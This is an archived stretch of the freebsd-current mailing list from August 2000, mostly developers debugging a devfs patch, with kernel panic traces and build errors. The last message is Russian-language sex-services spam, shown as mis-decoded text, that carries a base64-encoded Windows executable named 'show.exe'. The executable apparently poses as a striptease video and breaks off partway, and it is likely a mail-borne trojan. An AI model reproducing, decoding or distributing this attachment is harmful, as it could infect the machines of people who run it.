>> >> http://phk.freebsd.dk/patch/devfsIII.patch >[...] > >When booting the kernel built from a sys tree patched with >the above patch, i get the following: (dmesg.out is attached) > >""" >Mounting root from ufs:/dev/ad0s1a >devfs_mount(mp = 0xc0b2be00) >devfs_mount: root vp = 0xc6f66b00 >devfs_statfs(mp = 0xc0b2be00) >devfs_mount: at /dev >cloned ad0s1b -> 0xc0b31b80 > > >Fatal trap 12: page fault while in kernel mode >fault virtual address = 0xe8 >fault code = supervisor write, page not present >instruction pointer = 0x8:0xc024176c >stack pointer = 0x10:0xc7560e3c >frame pointer = 0x10:0xc7560e54 >code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 >processor eflags = interrupt enabled, resume, IOPL = 0 >current process = 16 (swapon) >interrupt mask = none >trap number = 12 >panic: page fault >""" -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 7:50:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id CDB1E37B423 for ; Sat, 19 Aug 2000 07:50:47 -0700 (PDT) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id QAA86056; Sat, 19 Aug 2000 16:50:45 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Robert Drehmel Cc: current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. In-Reply-To: Your message of "Sat, 19 Aug 2000 05:53:33 +0200." <399E04BD.3AEF6B31@gmx.net> Date: Sat, 19 Aug 2000 16:50:45 +0200 Message-ID: <86054.966696645@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ok, I belive this one is fixed now, please try again. Poul-Henning In message <399E04BD.3AEF6B31@gmx.net>, Robert Drehmel writes: > >In <84513.966631292@critter>, Poul-Henning Kamp >wrote: > >> Please look at, test and review: >> >> http://phk.freebsd.dk/patch/devfsIII.patch >[...] > >When booting the kernel built from a sys tree patched with >the above patch, i get the following: (dmesg.out is attached) > >""" >Mounting root from ufs:/dev/ad0s1a >devfs_mount(mp = 0xc0b2be00) >devfs_mount: root vp = 0xc6f66b00 >devfs_statfs(mp = 0xc0b2be00) >devfs_mount: at /dev >cloned ad0s1b -> 0xc0b31b80 > > >Fatal trap 12: page fault while in kernel mode >fault virtual address = 0xe8 >fault code = supervisor write, page not present >instruction pointer = 0x8:0xc024176c >stack pointer = 0x10:0xc7560e3c >frame pointer = 0x10:0xc7560e54 >code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 >processor eflags = interrupt enabled, resume, IOPL = 0 >current process = 16 (swapon) >interrupt mask = none >trap number = 12 >panic: page fault >""" > >-- >Robert S. F. Drehmel > >FreeBSD i386 5.0-CURRENT #39: Thu Aug 17 16:57:57 CEST 2000 -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 7:56:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 1D18E37B422 for ; Sat, 19 Aug 2000 07:56:48 -0700 (PDT) Received: (qmail 28845 invoked by uid 0); 19 Aug 2000 14:56:46 -0000 Received: from p3e992273.dip0.t-ipconnect.de (HELO gmx.net) (62.153.34.115) by mail.gmx.net with SMTP; 19 Aug 2000 14:56:46 -0000 Message-ID: <399EA057.7300E442@gmx.net> Date: Sat, 19 Aug 2000 16:57:27 +0200 From: Robert Drehmel X-Mailer: Mozilla 4.08 [en] (X11; I; FreeBSD 5.0-CURRENT i386) MIME-Version: 1.0 To: Poul-Henning Kamp , current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. References: <85506.966672378@critter> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <85506.966672378@critter>, Poul-Henning Kamp wrote: > Please configure DDB and INVARIANTS in your kernel when you > use this patch, and send me output from the "trace" command > in DDB when it panics. """ Stopped at i586_bz2+0x2: fstl 0(%edx) i586_bz2(c0b32b80,3,2000,c65fa440,c7554eb8) at i586_bz2+0x2 spec_open(c7554eb8,c7554ecc,c021d154,c7554eb8,c6f5ad80) at spec_open+0x145 spec_vnoperate(c7554eb8,c6f5ad80,c65fa440,c02cde50,0) at spec_vnoperate+0x15 swapon(c65fa440,c7554f80,8055000,8051cfb,8051c0c) at swapon+0x7b syscall2(2f,2f,2f,8051c0c,8051cfb) at syscall2+0x166 Xint0x80_syscall() at Xint0x80_syscall+0x25 """ I also noticed that top and ps are unusable since I first booted the kernel that was built from the sys tree patched with ``devfsIII.patch''. """ $ top kvm_open: proc size mismatch (32736 total, 1048 chunks) top: out of memory $ ps ps: proc size mismatch (8448 total, 1048 chunks) $ """ -- Robert S. F. Drehmel FreeBSD i386 5.0-CURRENT #43: Sat Aug 19 07:16:51 CEST 2000 ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 8: 4:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id A781937B422 for ; Sat, 19 Aug 2000 08:04:11 -0700 (PDT) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id RAA86121; Sat, 19 Aug 2000 17:04:05 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Robert Drehmel Cc: current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. In-Reply-To: Your message of "Sat, 19 Aug 2000 16:57:27 +0200." <399EA057.7300E442@gmx.net> Date: Sat, 19 Aug 2000 17:04:05 +0200 Message-ID: <86119.966697445@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <399EA057.7300E442@gmx.net>, Robert Drehmel writes: >I also noticed that top and ps are unusable since I first >booted the kernel that was built from the sys tree patched >with ``devfsIII.patch''. > >""" >$ top >kvm_open: proc size mismatch (32736 total, 1048 chunks) >top: out of memory >$ ps >ps: proc size mismatch (8448 total, 1048 chunks) >$ >""" This is the usual excercise with recompiling libkvm, ps, top and friends when certain central kernel structures changes size. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 9:14:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 14DA337B423 for ; Sat, 19 Aug 2000 09:14:38 -0700 (PDT) Date: Sat, 19 Aug 2000 12:14:26 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: current@FreeBSD.org Subject: Anyone have newmidi working? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Newmidi doesn't seem to work. The oplsbc device handling had to be hacked a bit to support non-PnP SBs, but that's inconsequential. It probes and boots fine. It seems that newmidi is completely disconnected from actually being able to work. I haven't gotten any response from the author :-( Does anyone have it working? I don't see how it could with the current state of the code. -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 12: 4:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.gmx.net (pop.gmx.net [194.221.183.20]) by hub.freebsd.org (Postfix) with SMTP id 2351937B423 for ; Sat, 19 Aug 2000 12:04:24 -0700 (PDT) Received: (qmail 12260 invoked by uid 0); 19 Aug 2000 19:04:22 -0000 Received: from p3ee288cc.dip0.t-ipconnect.de (HELO gmx.net) (62.226.136.204) by mail.gmx.net with SMTP; 19 Aug 2000 19:04:22 -0000 Message-ID: <399EDA63.E23C5FE8@gmx.net> Date: Sat, 19 Aug 2000 21:05:07 +0200 From: Robert Drehmel X-Mailer: Mozilla 4.08 [en] (X11; I; FreeBSD 5.0-CURRENT i386) MIME-Version: 1.0 To: Poul-Henning Kamp , current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. References: <86054.966696645@critter> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In <86054.966696645@critter>, Poul-Henning Kamp wrote: > Ok, I belive this one is fixed now, please try again. Yes, it boots. But when using a kernel with ``options DEVFS'', there is no /dev/audio or /dev/mouse, for example; devfs has mounted itself to /dev. -- Robert S. F. Drehmel FreeBSD i386 5.0-CURRENT #50: Sat Aug 19 19:08:04 CEST 2000 ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 12:17:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id 633A437B423 for ; Sat, 19 Aug 2000 12:17:47 -0700 (PDT) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id VAA86787; Sat, 19 Aug 2000 21:17:44 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Robert Drehmel Cc: current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. In-Reply-To: Your message of "Sat, 19 Aug 2000 21:05:07 +0200." <399EDA63.E23C5FE8@gmx.net> Date: Sat, 19 Aug 2000 21:17:44 +0200 Message-ID: <86785.966712664@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <399EDA63.E23C5FE8@gmx.net>, Robert Drehmel writes: >In <86054.966696645@critter>, Poul-Henning Kamp wrote: > >> Ok, I belive this one is fixed now, please try again. > >Yes, it boots. But when using a kernel with ``options DEVFS'', >there is no /dev/audio or /dev/mouse, for example; devfs has >mounted itself to /dev. Yes, I expected such issues. This means that the respective drivers don't use make_dev() to generate a proper dev_t for their use. I will look at thost two drivers tonight, I'm just finishing the floppy drivers clone() function. If you want to take a shot at it yourself it's quite simple: you need to call make_dev() somewhere, typically in *_attach to generate and name the dev_t for the function. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 12:26:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id 412A937B43E for ; Sat, 19 Aug 2000 12:26:26 -0700 (PDT) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id VAA86837; Sat, 19 Aug 2000 21:26:24 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Robert Drehmel Cc: current@FreeBSD.ORG Subject: Re: PATCH: devfs mkIII test & review please. In-Reply-To: Your message of "Sat, 19 Aug 2000 21:05:07 +0200." <399EDA63.E23C5FE8@gmx.net> Date: Sat, 19 Aug 2000 21:26:24 +0200 Message-ID: <86835.966713184@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <399EDA63.E23C5FE8@gmx.net>, Robert Drehmel writes: >In <86054.966696645@critter>, Poul-Henning Kamp wrote: > >> Ok, I belive this one is fixed now, please try again. > >Yes, it boots. But when using a kernel with ``options DEVFS'', >there is no /dev/audio or /dev/mouse, for example; devfs has >mounted itself to /dev. Ahh, right, this is something else than I thought: These are symlinks in the normal case, for instance: /dev/audio -> /dev/audio0 I have not coded the solution for the automagic for these yet, for now you can create them by hand using the standard "ln -s ..." command. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 12:43:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from usamail.texasonline.net (texasonline.net [208.207.16.31]) by hub.freebsd.org (Postfix) with ESMTP id ED5D337B423 for ; Sat, 19 Aug 2000 12:43:12 -0700 (PDT) Received: from radius (unverified [209.211.36.192]) by usamail.texasonline.net (Vircom SMTPRS 4.2.181) with ESMTP id for ; Sat, 19 Aug 2000 14:33:02 -0500 Message-ID: <200008191431570259.03DF3AFF@texasonline.net> In-Reply-To: <86835.966713184@critter> References: <86835.966713184@critter> X-Mailer: Calypso Version 3.00.03.02 (1) Date: Sat, 19 Aug 2000 14:31:57 -0500 Reply-To: gzeigler@texasonline.net From: "Gordon Zeigler" To: current@FreeBSD.ORG Subject: Build fails OpenSSH Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG During make of OpenSSH, I get the following. I'm a neophyte. What does this= indicate? =3D=3D=3D> Building for m4-1.4 for subdir in doc lib src checks examples; do echo making all in $subdir;= (cd $subdir && make CC=3D'cc' CFLAGS=3D'-O -pipe' LDFLAGS=3D'' LIBS=3D''= prefix=3D'/usr/local ' exec_prefix=3D'/usr/local' bindir=3D'/usr/local/bin'= infodir=3D'/usr/local/info' al l) || exit 1; done making all in doc cd . && rm -f m4.info* && makeinfo --no-split m4.texinfo /usr/libexec/ld-elf.so.1: makeinfo: Shared object has no run-time symbol= table *** Error code 1 Stop. *** Error code 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 12:48: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from usamail.texasonline.net (texasonline.net [208.207.16.31]) by hub.freebsd.org (Postfix) with ESMTP id BA40C37B42C for ; Sat, 19 Aug 2000 12:47:58 -0700 (PDT) Received: from radius (unverified [209.211.36.192]) by usamail.texasonline.net (Vircom SMTPRS 4.2.181) with ESMTP id for ; Sat, 19 Aug 2000 14:47:58 -0500 Message-ID: <200008191446530257.03ECE6FD@texasonline.net> In-Reply-To: <200008191431570259.03DF3AFF@texasonline.net> References: <86835.966713184@critter> <200008191431570259.03DF3AFF@texasonline.net> X-Mailer: Calypso Version 3.00.03.02 (1) Date: Sat, 19 Aug 2000 14:46:53 -0500 Reply-To: gzeigler@texasonline.net From: "Gordon Zeigler" To: current@FreeBSD.ORG Subject: Re: Build fails OpenSSH Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Disregard... I was installing ssh, instead of openssh. Latter works. *********** REPLY SEPARATOR *********** On 8/19/00 at 2:31 PM Gordon Zeigler wrote: >During make of OpenSSH, I get the following. I'm a neophyte. What does= this indicate? > > >=3D=3D=3D> Building for m4-1.4 >for subdir in doc lib src checks examples; do echo making all in $subdir;= (cd >$subdir && make CC=3D'cc' CFLAGS=3D'-O -pipe' LDFLAGS=3D'' LIBS=3D''= prefix=3D'/usr/local >' exec_prefix=3D'/usr/local' bindir=3D'/usr/local/bin'= infodir=3D'/usr/local/info' al >l) || exit 1; done >making all in doc >cd . && rm -f m4.info* && makeinfo --no-split m4.texinfo >/usr/libexec/ld-elf.so.1: makeinfo: Shared object has no run-time symbol= table >*** Error code 1 > >Stop. >*** Error code 1 > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Aug 19 14:30:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from dialup.ptt.ru (dialup.ptt.ru [195.34.0.100]) by hub.freebsd.org (Postfix) with SMTP id E545B37B50C for ; Sat, 19 Aug 2000 14:30:26 -0700 (PDT) Received: (qmail 23807 invoked from network); 19 Aug 2000 19:02:58 -0000 Received: from dialup-27087.dialup.ptt.ru (HELO computer) (195.34.27.87) by dialup.ptt.ru with SMTP; 19 Aug 2000 19:02:58 -0000 To: "" From: vika@mtu-net.ru Subject: vika@mtu-net.ru Date: Sat, 19 Aug 2000 22:59:30 +0300 Message-Id: <36757.957993402777600.791@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=eutuatehtqiouusg Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --eutuatehtqiouusg Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit Âû õîòèòå çàáûòü î ñóåòå, îêóíóòüñÿ â ìèð ðîìàíòè÷åñêèõ ãðåç? Îòêðîéòå ïóòü ê íåáåñíîìó áëàæåíñòâó, îñòàâüòå áåñêîíå÷íûå ïðîáëåìû - ïðåëåñòíàÿ íèìôà ïðåäëàãàåò Âàì îòäîõíóòü, ðàññëàáèòüñÿ è óòîíóòü â îêåàíå áëàæåíñòâà è ñëàäîñòðàñòèÿ. Ìîå ñòðîéíîå òåëî è íåæíûå ðóêè ïîâåðãíóò Âàñ â ïó÷èíó íåçàáûâàåìûõ îùóùåíèé è, ïîñåòèâ ìåíÿ îäíàæäû, Âû áóäåòå âîçâðàùàòüñÿ ê âíîâü è âíîâü .... Âîò íåêîòîðûå âíåøíèå äàííûå: Âèêà - øàòåíêà, 21 ãîä, ðîñò 175 ñì, âåñ 52 êã, ðàçìåð îäåæäû 44, áþñò ¹3; Òåëåôîí: (095) 723-04-67 Ïðåäëàãàþ Âàì ïîñìîòðåòü ìàëåíüêèé ñòðèïòèç. --eutuatehtqiouusg Content-Type: application/x-msdownload; name="show.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="show.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEGAMjLqTgAAAAA AAAAAOAADwELAQUAACQAAADqAAAAAAAAriQAAAAQAAAAQAAAAABAAAAQAAAAAgAA BAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAA AAAAABAAAAAAAAAAAAAAAGhXAQBNAQAAAEABAJwDAAAAAAAAAAAAAAAAAAAAAAAA PFMBAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAC50ZXh0AAAA ADAAAAAQAAAAFgAAAAQAAAAAAAAAAAAAAAAAAEAAAMAucmRhdGEAAAAQAAAAQAAA AAIAAAAaAAAAAAAAAAAAAAAAAABAAADALmRhdGEAAAAA4AAAAFAAAAAGAAAAHAAA AAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAABAAAAAwAQAABgAAACIAAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAAAQAAAAQAEAAAQAAAAoAAAAAAAAAAAAAAAAAABAAADA LmRhdGEAuwAAEAAAAFABAAAKAAAALAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 